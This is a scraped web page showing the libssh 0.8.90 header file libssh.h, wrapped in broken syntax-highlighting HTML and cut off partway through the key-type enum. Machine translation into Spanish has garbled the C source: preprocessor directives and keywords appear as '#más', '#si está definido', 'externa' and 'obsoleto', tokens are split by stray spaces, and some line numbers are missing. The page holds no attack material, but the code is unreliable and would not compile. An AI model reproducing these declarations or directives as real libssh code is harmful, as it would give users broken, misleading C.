'>></span><span style='color:#d2cd86; '><</span>h1<span style='color:#d2cd86; '>></span>libssh <span style='color:#009f00; '>0.8</span><span style='color:#d2cd86; '>.</span><span style='color:#008c00; '>90</span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>h1<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>strong<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>br <span style='color:#d2cd86; '>/</span><span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>p<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>li<span style='color:#d2cd86; '>></span>La biblioteca SSH<span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>li<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>button<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>i<span style='color:#d2cd86; '>></span>PAGINA PRINCIPAL<span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>li<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>button<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>li<span style='color:#d2cd86; '>></span>PÁGINAS RELACIONADAS<span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>li<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>button<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>li<span style='color:#d2cd86; '>></span>M�<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>DULOS</li></button></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>   <button><li>ESTRUCTURAS DE DATOS</li></button></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>      <button><li>ARCHIVOS</li></button></span> <span style='color:#00c4c4; '>          </span> <span style='color:#00c4c4; '>          </p></span> <span style='color:#00c4c4; '>          </span> <span style='color:#00c4c4; '>          <ul></span> <span style='color:#00c4c4; '>             </span> <span style='color:#00c4c4; '>      <button><h3> incluir </h3></button></span> <span style='color:#00c4c4; '>      <button><h3> libssh </h3></button></span> <span style='color:#00c4c4; '>      <button><h3> libssh.h </h3></button></span> <span style='color:#00c4c4; '>                 </span> <span style='color:#00c4c4; '>             <br /></span> <span style='color:#00c4c4; '>             </span> <span style='color:#00c4c4; '>          </ul> </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>   <small>Esta biblioteca es software gratuito; </span> <span style='color:#00c4c4; '>puedes redistribuirlo y / o</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>7 * modificarlo según los términos del GNU Lesser General Public</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>8 * Licencia publicada por la Free Software Foundation; ya sea</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>9 * versión 2.1 de la Licencia, o (a su elección) </span> <span style='color:#00c4c4; '>cualquier versión posterior.</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>10 *</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>11 * Esta biblioteca se distribuye con la esperanza de que sea útil,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>12 * pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de</span> <span style='color:#00c4c4; '> </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>21 #ifndef _LIBSSH_H</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>22 #define _LIBSSH_H</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>23 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>24 #si está definido _WIN32 || definido __CYGWIN__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>25 #ifdef LIBSSH_STATIC</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>26 #define LIBSSH_API</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>27 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>28 #ifdef LIBSSH_EXPORTS</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>29 #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>30 #define LIBSSH_API __attribute __ ((dllexport))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>31 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>32 #define LIBSSH_API __declspec (dllexport)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>33 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>34 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>35 #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>36 #define LIBSSH_API __attribute __ ((dllimport))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>37 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>38 #define LIBSSH_API __declspec (dllimport)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>39 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>40 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>41 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>42 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>43 #if __GNUC__> = 4 &&! Definido (__ OS2__)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>44 #define LIBSSH_API __attribute __ </span> <span style='color:#00c4c4; '>((visibilidad (</span><span style='color:#02d045; '>"</span>predeterminado<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>)))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>45 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>46 #define LIBSSH_API</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>47 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>48 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>49 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>50 #ifdef _MSC_VER</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>51 / * Visual Studio no tiene inttypes.h </span> <span style='color:#00c4c4; '>así que no conoce uint32_t * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>52 typedef int int32_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>53 typedef unsigned int uint32_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>54 typedef unsigned short uint16_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>55 typedef unsigned char uint8_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>56 typedef unsigned long long uint64_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>57 typedef int mode_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>58 #else / * _MSC_VER * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>59 #include <unistd.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>60 #include <inttypes.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>61 #include <sys / types.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>62 #endif / * _MSC_VER * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>63 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>64 #ifdef _WIN32</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>65 #include <winsock2.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>66 #else / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>67 #include <sys / select.h> / * para fd_set * * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>68 #include <netdb.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>69 #endif / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>70 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>71 #define SSH_STRINGIFY (s) SSH_TOSTRING (s)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>72 #define SSH_TOSTRING (s) #s</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>73 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>74 / * macros de versión libssh * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>75 #define SSH_VERSION_INT (a, b, c) ((a) << 16 | (b) << 8 | (c))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>76 #define SSH_VERSION_DOT (a, b, c) a ##. ## b ##. ## c</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>77 #define SSH_VERSION (a, b, c) SSH_VERSION_DOT (a, b, c)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>78 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>79 / * versión libssh * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>80 #define LIBSSH_VERSION_MAJOR 0</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>81 #define LIBSSH_VERSION_MINOR 8</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>82 #define LIBSSH_VERSION_MICRO 90</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>83 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>84 #define LIBSSH_VERSION_INT SSH_VERSION_INT </span> <span style='color:#00c4c4; '>(LIBSSH_VERSION_MAJOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>85 LIBSSH_VERSION_MINOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>86 LIBSSH_VERSION_MICRO)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>87 #define LIBSSH_VERSION SSH_VERSION (LIBSSH_VERSION_MAJOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>88 LIBSSH_VERSION_MINOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>89 LIBSSH_VERSION_MICRO)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>90 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>91 / * GCC tiene verificación de atributo de </span> <span style='color:#00c4c4; '>tipo printf. * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>92 #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>93 #define PRINTF_ATTRIBUTE (a, b) __attribute__ </span> <span style='color:#00c4c4; '>((__format__ (__printf__, a, b)))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>94 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>95 #define PRINTF_ATTRIBUTE (a, b)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>96 #endif / * __GNUC__ * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>97 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>98 #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>99 #define SSH_DEPRECATED __attribute__ ((obsoleto))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>100 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>101 #define SSH_DEPRECATED</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>102 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>103 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>104 #ifdef __cplusplus</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>105 externa </span><span style='color:#02d045; '>"</span>C<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>106 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>107 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>108 struct ssh_counter_struct {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>109 uint64_t in_bytes;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>110 uint64_t out_bytes;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>111 uint64_t in_packets;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>112 uint64_t out_packets;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>113 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>114 typedef struct ssh_counter_struct * ssh_counter ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>115 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>116 typedef struct ssh_agent_struct * ssh_agent ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>117 typedef struct ssh_buffer_struct * ssh_buffer ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>118 typedef struct ssh_channel_struct * ssh_channel ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>119 typedef struct ssh_message_struct * ssh_message ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>120 typedef struct ssh_pcap_file_struct </span> <span style='color:#00c4c4; '>* ssh_pcap_file;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>121 typedef struct ssh_key_struct * ssh_key ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>122 typedef struct ssh_scp_struct * ssh_scp ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>123 typedef struct ssh_session_struct * ssh_session ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>124 typedef struct ssh_string_struct * ssh_string ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>125 typedef struct ssh_event_struct * ssh_event ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>126 typedef struct ssh_connector_struct </span> <span style='color:#00c4c4; '>* ssh_connector ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>127 typedef void * ssh_gssapi_creds;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>128 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>129 / * Tipo de enchufe * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>130 #ifdef _WIN32</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>131 #ifndef socket_t</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>132 typedef SOCKET socket_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>133 #endif / * socket_t * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>134 #else / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>135 #ifndef socket_t</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>136 typedef int socket_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>137 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>138 #endif / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>139 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>140 #define SSH_INVALID_SOCKET ((socket_t) -1)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>141 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>142 / * las compensaciones de los métodos * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>143 enum ssh_kex_types_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>144 SSH_KEX = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>145 SSH_HOSTKEYS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>146 SSH_CRYPT_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>147 SSH_CRYPT_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>148 SSH_MAC_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>149 SSH_MAC_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>150 SSH_COMP_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>151 SSH_COMP_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>152 SSH_LANG_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>153 SSH_LANG_S_C</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>154 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>155 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>156 #define SSH_CRYPT 2</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>157 #define SSH_MAC 3</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>158 #define SSH_COMP 4</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>159 #define SSH_LANG 5</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>160 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>161 enum ssh_auth_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>162 SSH_AUTH_SUCCESS = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>163 SSH_AUTH_DENIED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>164 SSH_AUTH_PARTIAL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>165 SSH_AUTH_INFO,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>166 SSH_AUTH_AGAIN,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>167 SSH_AUTH_ERROR = -1</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>168 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>169 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>170 / * banderas de autenticación * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>171 #define SSH_AUTH_METHOD_UNKNOWN 0</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>172 #define SSH_AUTH_METHOD_NONE 0x0001</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>173 #define SSH_AUTH_METHOD_PASSWORD 0x0002</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>174 #define SSH_AUTH_METHOD_PUBLICKEY 0x0004</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>175 #define SSH_AUTH_METHOD_HOSTBASED 0x0008</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>176 #define SSH_AUTH_METHOD_INTERACTIVE 0x0010</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>177 #define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>178 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>179 / * mensajes * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>180 enum ssh_requests_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>181 SSH_REQUEST_AUTH = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>182 SSH_REQUEST_CHANNEL_OPEN,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>183 SSH_REQUEST_CHANNEL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>184 SSH_REQUEST_SERVICE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>185 SSH_REQUEST_GLOBAL</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>186 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>187 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>188 enum ssh_channel_type_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>189 SSH_CHANNEL_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>190 SSH_CHANNEL_SESSION,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>191 SSH_CHANNEL_DIRECT_TCPIP,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>192 SSH_CHANNEL_FORWARDED_TCPIP,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>193 SSH_CHANNEL_X11,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>194 SSH_CHANNEL_AUTH_AGENT</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>195 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>196 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>197 enum ssh_channel_requests_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>198 SSH_CHANNEL_REQUEST_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>199 SSH_CHANNEL_REQUEST_PTY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>200 SSH_CHANNEL_REQUEST_EXEC,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>201 SSH_CHANNEL_REQUEST_SHELL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>202 SSH_CHANNEL_REQUEST_ENV,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>203 SSH_CHANNEL_REQUEST_SUBSYSTEM,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>204 SSH_CHANNEL_REQUEST_WINDOW_CHANGE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>205 SSH_CHANNEL_REQUEST_X11</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>206 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>207 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>208 enum ssh_global_requests_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>209 SSH_GLOBAL_REQUEST_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>210 SSH_GLOBAL_REQUEST_TCPIP_FORWARD,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>211 SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>212 SSH_GLOBAL_REQUEST_KEEPALIVE</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>213 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>214 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>215 enum ssh_publickey_state_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>216 SSH_PUBLICKEY_STATE_ERROR = -1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>217 SSH_PUBLICKEY_STATE_NONE = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>218 SSH_PUBLICKEY_STATE_VALID = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>219 SSH_PUBLICKEY_STATE_WRONG = 2</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>220 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>221 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>222 / * Indicadores de estado * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>224 #define SSH_CLOSED 0x01</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>225 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>226 #define SSH_READ_PENDING 0x02</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>227 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>228 #define SSH_CLOSED_ERROR 0x04</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>229 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>230 #define SSH_WRITE_PENDING 0x08</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>231 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>232 enum ssh_server_known_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>233 SSH_SERVER_ERROR = -1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>234 SSH_SERVER_NOT_KNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>235 SSH_SERVER_KNOWN_OK,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>236 SSH_SERVER_KNOWN_CHANGED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>237 SSH_SERVER_FOUND_OTHER,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>238 SSH_SERVER_FILE_NOT_FOUND</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>239 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>240 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>241 enum ssh_known_hosts_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>245 SSH_KNOWN_HOSTS_ERROR = -2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>246 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>251 SSH_KNOWN_HOSTS_NOT_FOUND = -1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>252 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>257 SSH_KNOWN_HOSTS_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>258 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>262 SSH_KNOWN_HOSTS_OK,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>263 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>269 SSH_KNOWN_HOSTS_CHANGED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>270 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>275 SSH_KNOWN_HOSTS_OTHER,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>276 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>277 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>278 #ifndef MD5_DIGEST_LEN</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>279 #define MD5_DIGEST_LEN 16</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>280 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>281 / * errores * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>282 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>283 enum ssh_error_types_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>284 SSH_NO_ERROR = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>285 SSH_REQUEST_DENIED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>286 SSH_FATAL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>287 SSH_EINTR</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>288 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>289 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>290 / * algunos tipos de claves * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>291 enum ssh_keytypes_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>292 SSH_KEYTYPE_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>293 SSH_KEYTYPE_DSS = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>294 SSH_KEYTYPE_RSA,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>295 SSH_KEYTYPE_RSA1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>296 SSH_KEYTYPE_ECDSA,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>297 SSH_KEYTYPE_ED25519,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>298 SSH_KEYTYPE_DSS_CERT01,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>299 